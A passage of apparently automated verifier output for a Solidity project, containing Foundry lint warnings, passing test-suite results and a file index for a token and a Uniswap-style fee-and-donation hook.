━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:215:40\n    │\n215 │             if (reason.length == 36 && bytes4(reason) == QuoteResult.selector) {\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:229:32\n    │\n229 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:229:60\n    │\n229 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n   ╭▸ test/AccountingInvariant.t.sol:52:17\n   │\n52 │         vm.warp(block.timestamp + bound(elapsed, 0, 7200));\n   │         ────────━━━━━━━━━━━━━━━─────────────────────────── `vm.warp` changes this environment here\n   │\n   ├ help: capture it with `vm.getBlockTimestamp()` instead\n   ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":2824,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 281.84µs (0.00ns CPU time)\n\nRan 2 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookFreshManagerTest\n[PASS] test_EmptyPoolSwapDoesNotAccrueFees() (gas: 915928)\n[PASS] test_TokenOnlyLiquidityFirstBuyWithoutManagerIMD() (gas: 1020902)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 9.96ms (2.79ms CPU time)\n\nRan 1 test for test/SIMDTESTHook.t.sol:SIMDTESTHookReverseOrderTest\n[PASS] test_AllSwapModesWithPairAsCurrency1() (gas: 17132937)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.31ms (14.91ms CPU time)\n\nRan 8 tests for test/HookAdversarial.t.sol:HookAdversarialTest\n[PASS] test_ConstructorRejectsMissingCodeAndIdenticalCurrencies() (gas: 7565)\n[PASS] test_DonationFailureCanBeRetriedAfterLiquidityReturns() (gas: 1269672)\n[PASS] test_DonationRewardsOnlyInRangeLiquidityWithoutMintingAPosition() (gas: 1136462)\n[PASS] test_FailedInitializationCannotStartClockOrBindWrongPool() (gas: 10354051)\n[PASS] test_NoAdminFeeOrClaimApprovalEntrypoints() (gas: 811628)\n[PASS] test_OddDonationAndOneWeiDustDoNotConsumeAnEmptyBatch() (gas: 1234247)\n[PASS] test_SweepAndDonationEventsIdentifyCallerAndExactAmount() (gas: 750234)\n[PASS] test_ZeroSwapAndFailedInputSettlementPreserveAccruedFees() (gas: 1273906)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 53.01ms (39.63ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairSecondTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 559389, ~: 549917)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 597917, ~: 596251)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39134873)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 239.42ms (404.59ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairFirstTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 560233, ~: 548684)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 599238, ~: 594299)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39200017)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 389.56ms (660.19ms CPU time)\n\nRan 19 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookTest\n[PASS] testFuzz_PartialFillLargeRequests(bool,bool,uint256,uint8) (runs: 1000, μ: 399448, ~: 401813)\n[PASS] testFuzz_SwapAccounting(bool,bool,uint96,uint8) (runs: 1000, μ: 425476, ~: 433092)\n[PASS] test_AllBlocksAndSwapModes() (gas: 16893406)\n[PASS] test_DonationTimingHalfAndLPEarnings() (gas: 1099542)\n[PASS] test_DonationWithoutLiquidityRollsBack() (gas: 781550)\n[PASS] test_EmptyDonationDoesNotConsumeTimer() (gas: 674731)\n[PASS] test_FailedSweepPreservesClaimsAndDoesNotBlockSwaps() (gas: 1143865)\n[PASS] test_InitializationValidatesBeforeBinding() (gas: 10739441)\n[PASS] test_Int256MinimumInputCanPartiallyFill() (gas: 386433)\n[PASS] test_InvalidPermissionAddressRefusesDeployment() (gas: 17812)\n[PASS] test_PermissionsAndInitialization() (gas: 25932)\n[PASS] test_QuoteRollsBackPriceAndFeeGrowth() (gas: 913875)\n[PASS] test_RejectOtherPoolsAndSecondInitialization() (gas: 112335)\n[PASS] test_RuntimeAndCreationSizesNoEscapeOpcodes() (gas: 2130377)\n[PASS] test_SweepPermissionlessAndSeparateFromDonation() (gas: 721220)\n[PASS] test_TinySwapsRoundDownAndSettle() (gas: 7409080)\n[PASS] test_UnauthorizedCallbacksAndQuote() (gas: 183694)\n[PASS] test_UnrepresentableExactOutputRevertsClearly() (gas: 152404)\n[PASS] test_UnsettledSwapRollsBackFees() (gas: 351850)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 389.73ms (821.06ms CPU time)\n\nRan 4 tests for test/SIMDTEST.t.sol:SIMDTESTTest\n[PASS] testFuzz_FactoryAndPoolTransfersHaveNoTax(uint256) (runs: 1000, μ: 177727, ~: 177928)\n[PASS] test_FactoryReceivesWholeFixedSupply() (gas: 44091)\n[PASS] test_NoPostDeploymentMintOrAdminSelectors() (gas: 273327)\n[PASS] test_RejectOverspendAndMissingAllowance() (gas: 62008)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 392.51ms (393.17ms CPU time)\n\nRan 2 tests for test/HookBatch.t.sol:HookBatchTest\n[PASS] testFuzz_NettingAcrossOneUnlockMatchesSeparateSwaps(uint96,uint8) (runs: 1000, μ: 2377361, ~: 2418949)\n[PASS] test_LaterSwapFailureRollsBackAllEarlierSwapsInUnlock() (gas: 1179412)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 392.66ms (383.00ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS] invariant_AllFeesConservedAndAllDeltasSettled() (runs: 128, calls: 6144, reverts: 0)\n\n╭-------------------+----------+-------+---------+----------╮\n| Contract          | Selector | Calls | Reverts | Discards |\n+===========================================================+\n| AccountingHandler | donate   | 2051  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | sweep    | 2037  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | trade    | 2056  | 0       | 0        |\n╰-------------------+----------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 979.04ms (969.23ms CPU time)\n\nRan 1 test for test/FeeLifecycleInvariant.t.sol:FeeLifecycleInvariantTest\n[PASS] invariant_FeesMatchIndependentModelAndAssetsAreConserved() (runs: 256, calls: 16384, reverts: 0)\n\n╭---------------------+---------------------+-------+---------+----------╮\n| Contract            | Selector            | Calls | Reverts | Discards |\n+========================================================================+\n| FeeLifecycleHandler | advance             | 2625  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | donate              | 2759  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | failedUnsettledSwap | 2865  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | sweep               | 2722  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | toggleLiquidity     | 2683  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | trade               | 2730  | 0       | 0        |\n╰---------------------+---------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.72s (2.70s CPU time)\n\nRan 11 test suites in 2.72s (5.60s CPU time): 44 tests passed, 0 failed, 1 skipped (45 total tests)\n","passed":true},{"durationMs":52,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SIMDTEST.approve(address,uint256)\",\"SIMDTEST.transfer(address,uint256)\",\"SIMDTEST.transferFrom(address,address,uint256)\",\"SIMDTESTHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SIMDTESTHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SIMDTESTHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"SIMDTESTHook.donateBatch()\",\"SIMDTESTHook.quotePairDelta((address,address,uint24,int24,address),(bool,int256,uint160))\",\"SIMDTESTHook.sweep()\",\"SIMDTESTHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"LICENSE\":23,\"README.md\":87,\"docs/DEPENDENCIES.md\":36,\"docs/SECURITY-REVIEW.md\":39,\"foundry.toml\":16,\"launch.json\":27,\"script/MineHook.sol\":24,\"src/HookFlags.sol\":30,\"src/SIMDTEST.sol\":11,\"src/SIMDTESTHook.sol\":242,\"test/AccountingInvariant.t.sol\":89,\"test/FeeLifecycleInvariant.t.sol\":169,\"test/HookAdversarial.t.sol\":206,\"test/HookBatch.t.sol\":80,\"test/HookDifferential.t.sol\":135,\"test/MainnetFork.t.sol\":100,\"test/SIMDTEST.t.sol\":68,\"test/SIMDTESTHook.t.sol\":340,\"test/TESTING.md\":50,\"test/helpers/BatchSwapRouter.sol\":51,\"test/helpers/LaunchFixture.sol\":133,\"test/helpers/PoolRouter.sol\":56,\"test/mocks/MockERC20.sol\":9},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"66d9f99faa95af1bb75cfabbdd693025e7dd30b2231b5d179833744d994522fa","verifiedTreeHash":"ce29bdc85e2ea3c545dbfca9c2a5fb3fbd3dce09","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":4572,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.42s\nCompiler run successful!\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/SIMDTESTHook.sol:58:40\n   │\n58 │     constructor(IPoolManager manager_, address token_) {\n   │                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:250:9\n    │\n250 │         emit FeesAccrued(anti, growth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:130:22\n    │\n130 │         if (target > uint256(type(int256).max)) revert UnrepresentableFee();\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:133:44\n    │\n133 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:133:61\n    │\n133 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:143:63\n    │\n143 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:143:70\n    │\n143 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `operating` is updated\n    ╭▸ src/SIMDTESTHook.sol:194:9\n    │\n194 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:176:9\n    │\n176 │         emit Swept(msg.sender, amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:22\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:30\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:67\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:75\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SIMDTESTHook.sol:182:13\n    │\n182 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:189:9\n    │\n189 │         emit Donated(msg.sender, amount, block.timestamp);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:22\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:30\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:67\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:75\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:194:9\n    │\n194 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:205:13\n    │\n205 │             poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:225:40\n    │\n225 │             if (reason.length == 36 && bytes4(reason) == QuoteResult.selector) {\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:239:32\n    │\n239 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:239:60\n    │\n239 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n   ╭▸ test/AccountingInvariant.t.sol:52:17\n   │\n52 │         vm.warp(block.timestamp + bound(elapsed, 0, 7200));\n   │         ────────━━━━━━━━━━━━━━━─────────────────────────── `vm.warp` changes this environment here\n   │\n   ├ help: capture it with `vm.getBlockTimestamp()` instead\n   ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":2799,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 300.88µs (0.00ns CPU time)\n\nRan 4 tests for test/SIMDTEST.t.sol:SIMDTESTTest\n[PASS] testFuzz_FactoryAndPoolTransfersHaveNoTax(uint256) (runs: 1000, μ: 177742, ~: 177964)\n[PASS] test_FactoryReceivesWholeFixedSupply() (gas: 44091)\n[PASS] test_NoPostDeploymentMintOrAdminSelectors() (gas: 273327)\n[PASS] test_RejectOverspendAndMissingAllowance() (gas: 62008)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 24.30ms (24.44ms CPU time)\n\nRan 2 tests for test/DonationRecipients.t.sol:DonationRecipientsTest\n[PASS] test_NewInRangePositionReceivesItsProportionalDonation() (gas: 1467149)\n[PASS] test_OnlyInRangePositionReceivesEntireDonation() (gas: 1521714)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 28.16ms (2.12ms CPU time)\n\nRan 2 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookFreshManagerTest\n[PASS] test_EmptyPoolSwapDoesNotAccrueFees() (gas: 916056)\n[PASS] test_TokenOnlyLiquidityFirstBuyWithoutManagerIMD() (gas: 1024406)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 39.70ms (2.91ms CPU time)\n\nRan 1 test for test/SIMDTESTHook.t.sol:SIMDTESTHookReverseOrderTest\n[PASS] test_AllSwapModesWithPairAsCurrency1() (gas: 17290701)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 61.59ms (20.80ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairSecondTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 558792, ~: 541423)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 597240, ~: 596583)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39305834)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 443.64ms (657.31ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairFirstTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 558783, ~: 540320)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 598556, ~: 594308)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39298642)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 473.69ms (887.16ms CPU time)\n\nRan 3 tests for test/FeeBasis.t.sol:FeeBasisPair0Test\n[PASS] testFuzz_EquivalentTrades(bool,uint96,uint8) (runs: 1000, μ: 768026, ~: 765831)\n[PASS] test_EquivalentTradesAtEveryFeeRate() (gas: 18271687)\n[PASS] test_EquivalentTradesAtPriceLimit() (gas: 16801777)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 479.40ms (462.42ms CPU time)\n\nRan 8 tests for test/HookAdversarial.t.sol:HookAdversarialTest\n[PASS] test_ConstructorRejectsMissingCodeAndIdenticalCurrencies() (gas: 7565)\n[PASS] test_DonationFailureCanBeRetriedAfterLiquidityReturns() (gas: 1273178)\n[PASS] test_DonationRewardsOnlyInRangeLiquidityWithoutMintingAPosition() (gas: 1139968)\n[PASS] test_FailedInitializationCannotStartClockOrBindWrongPool() (gas: 89573549)\n[PASS] test_NoAdminFeeOrClaimApprovalEntrypoints() (gas: 815134)\n[PASS] test_OddDonationAndOneWeiDustDoNotConsumeAnEmptyBatch() (gas: 1241259)\n[PASS] test_SweepAndDonationEventsIdentifyCallerAndExactAmount() (gas: 753740)\n[PASS] test_ZeroSwapAndFailedInputSettlementPreserveAccruedFees() (gas: 1281046)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 479.50ms (61.19ms CPU time)\n\nRan 3 tests for test/FeeBasis.t.sol:FeeBasisPair1Test\n[PASS] testFuzz_EquivalentTrades(bool,uint96,uint8) (runs: 1000, μ: 766040, ~: 764892)\n[PASS] test_EquivalentTradesAtEveryFeeRate() (gas: 18256951)\n[PASS] test_EquivalentTradesAtPriceLimit() (gas: 16799046)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 479.57ms (491.16ms CPU time)\n\nRan 19 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookTest\n[PASS] testFuzz_PartialFillLargeRequests(bool,bool,uint256,uint8) (runs: 1000, μ: 398571, ~: 378555)\n[PASS] testFuzz_SwapAccounting(bool,bool,uint96,uint8) (runs: 1000, μ: 428368, ~: 412685)\n[PASS] test_AllBlocksAndSwapModes() (gas: 17048945)\n[PASS] test_DonationTimingHalfAndLPEarnings() (gas: 1103046)\n[PASS] test_DonationWithoutLiquidityRollsBack() (gas: 785054)\n[PASS] test_EmptyDonationDoesNotConsumeTimer() (gas: 678235)\n[PASS] test_FailedSweepPreservesClaimsAndDoesNotBlockSwaps() (gas: 1150766)\n[PASS] test_InitializationValidatesBeforeBinding() (gas: 92202196)\n[PASS] test_Int256MinimumInputCanPartiallyFill() (gas: 386561)\n[PASS] 